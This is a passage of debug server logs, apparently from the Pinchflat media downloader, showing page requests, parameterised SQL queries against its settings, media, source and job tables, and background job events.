m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:05:25.448 [info] Sent 200 in 12ms 02:05:25.449 [info] Sent 200 in 12ms 02:05:25.604 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:55.606 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.256 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:02.443 [info] GET /sources/4/media/102352/edit 02:06:02.444 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102352", "source_id" => "4"} Pipelines: [:browser] 02:06:02.445 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1801.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102352] 02:06:02.446 [info] GET /sources/3/media/3299/edit 02:06:02.446 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3299", "source_id" => "3"} Pipelines: [:browser] 02:06:02.447 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=1802.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.448 [debug] QUERY OK source="settings" db=0.5ms idle=804.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.448 [debug] QUERY OK source="media_items" db=0.9ms idle=1102.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3299] 02:06:02.449 [debug] QUERY OK source="settings" db=0.5ms idle=102.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.449 [debug] QUERY OK source="settings" db=0.9ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.450 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.451 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:02.452 [info] Sent 200 in 8ms 02:06:02.453 [info] Sent 200 in 6ms 02:06:25.608 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:27.892 [info] GET /sources/3/media/3296/edit 02:06:27.892 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3296", "source_id" => "3"} Pipelines: [:browser] 02:06:27.892 [info] GET /sources/4/media/101015/edit 02:06:27.893 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101015", "source_id" => "4"} Pipelines: [:browser] 02:06:27.893 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1249.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3296] 02:06:27.893 [debug] QUERY OK source="media_items" db=0.4ms idle=496.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101015] 02:06:27.894 [debug] QUERY OK source="settings" db=0.2ms idle=250.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.894 [debug] QUERY OK source="settings" db=0.4ms idle=251.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.894 [debug] QUERY OK source="settings" db=0.3ms idle=251.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.895 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.896 [debug] QUERY OK source="settings" db=0.5ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.896 [debug] QUERY OK source="settings" db=1.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:27.898 [info] Sent 200 in 6ms 02:06:27.898 [info] Sent 200 in 6ms 02:06:49.432 [info] GET /sources/3/media/3297/edit 02:06:49.433 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3297", "source_id" => "3"} Pipelines: [:browser] 02:06:49.433 [info] GET /sources/4/media/100135 02:06:49.433 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100135", "source_id" => "4"} Pipelines: [:browser] 02:06:49.434 [debug] QUERY OK source="media_items" db=0.6ms idle=1790.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3297] 02:06:49.435 [debug] QUERY OK source="media_items" db=1.0ms idle=1790.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100135] 02:06:49.435 [debug] QUERY OK source="settings" db=0.7ms idle=1791.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.436 [debug] QUERY OK source="tasks" db=0.3ms idle=1792.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100135] 02:06:49.436 [debug] QUERY OK source="settings" db=0.7ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.437 [debug] QUERY OK source="sources" db=0.9ms idle=997.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:06:49.437 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.438 [debug] QUERY OK source="settings" db=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.438 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.439 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:06:49.439 [info] Sent 200 in 6ms 02:06:49.441 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:06:49.444 [info] Sent 200 in 11ms 02:06:55.610 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.257 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:14.082 [info] GET /sources/4/media/100135/edit 02:07:14.082 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100135", "source_id" => "4"} Pipelines: [:browser] 02:07:14.082 [info] GET /sources/4/media/101456 02:07:14.082 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101456", "source_id" => "4"} Pipelines: [:browser] 02:07:14.083 [debug] QUERY OK source="media_items" db=0.5ms idle=1439.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100135] 02:07:14.083 [debug] QUERY OK source="media_items" db=0.4ms idle=1440.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101456] 02:07:14.084 [debug] QUERY OK source="settings" db=0.2ms idle=1440.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.084 [debug] QUERY OK source="tasks" db=0.6ms idle=594.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101456] 02:07:14.085 [debug] QUERY OK source="sources" db=0.9ms idle=441.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:07:14.085 [debug] QUERY OK source="settings" db=0.9ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.086 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=2.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2486] 02:07:14.086 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.087 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.087 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.088 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:14.088 [info] Sent 200 in 6ms 02:07:14.089 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:07:14.093 [info] Sent 200 in 11ms 02:07:25.612 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:36.733 [info] GET /sources/4/media/101902 02:07:36.733 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101902", "source_id" => "4"} Pipelines: [:browser] 02:07:36.734 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1090.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101902] 02:07:36.735 [debug] QUERY OK source="tasks" db=0.3ms idle=1092.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101902] 02:07:36.736 [debug] QUERY OK source="sources" db=0.6ms idle=1092.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:07:36.737 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=201.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2529] 02:07:36.737 [debug] QUERY OK source="settings" db=0.4ms idle=94.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.738 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.739 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.740 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:07:36.744 [info] Sent 200 in 10ms 02:07:36.842 [info] GET /sources/4/media/101902/edit 02:07:36.842 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101902", "source_id" => "4"} Pipelines: [:browser] 02:07:36.843 [debug] QUERY OK source="media_items" db=0.3ms idle=105.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101902] 02:07:36.844 [debug] QUERY OK source="settings" db=0.2ms idle=105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.844 [debug] QUERY OK source="settings" db=0.2ms idle=106.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.845 [debug] QUERY OK source="settings" db=0.1ms idle=106.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:36.847 [info] Sent 200 in 5ms 02:07:55.614 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.258 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:14.451 [info] GET /sources/4/media/99707 02:08:14.451 [info] GET /sources/4/media/101016 02:08:14.451 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101016", "source_id" => "4"} Pipelines: [:browser] 02:08:14.451 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "99707", "source_id" => "4"} Pipelines: [:browser] 02:08:14.453 [debug] QUERY OK source="media_items" db=1.0ms idle=1808.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101016] 02:08:14.453 [debug] QUERY OK source="media_items" db=1.0ms idle=1808.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", 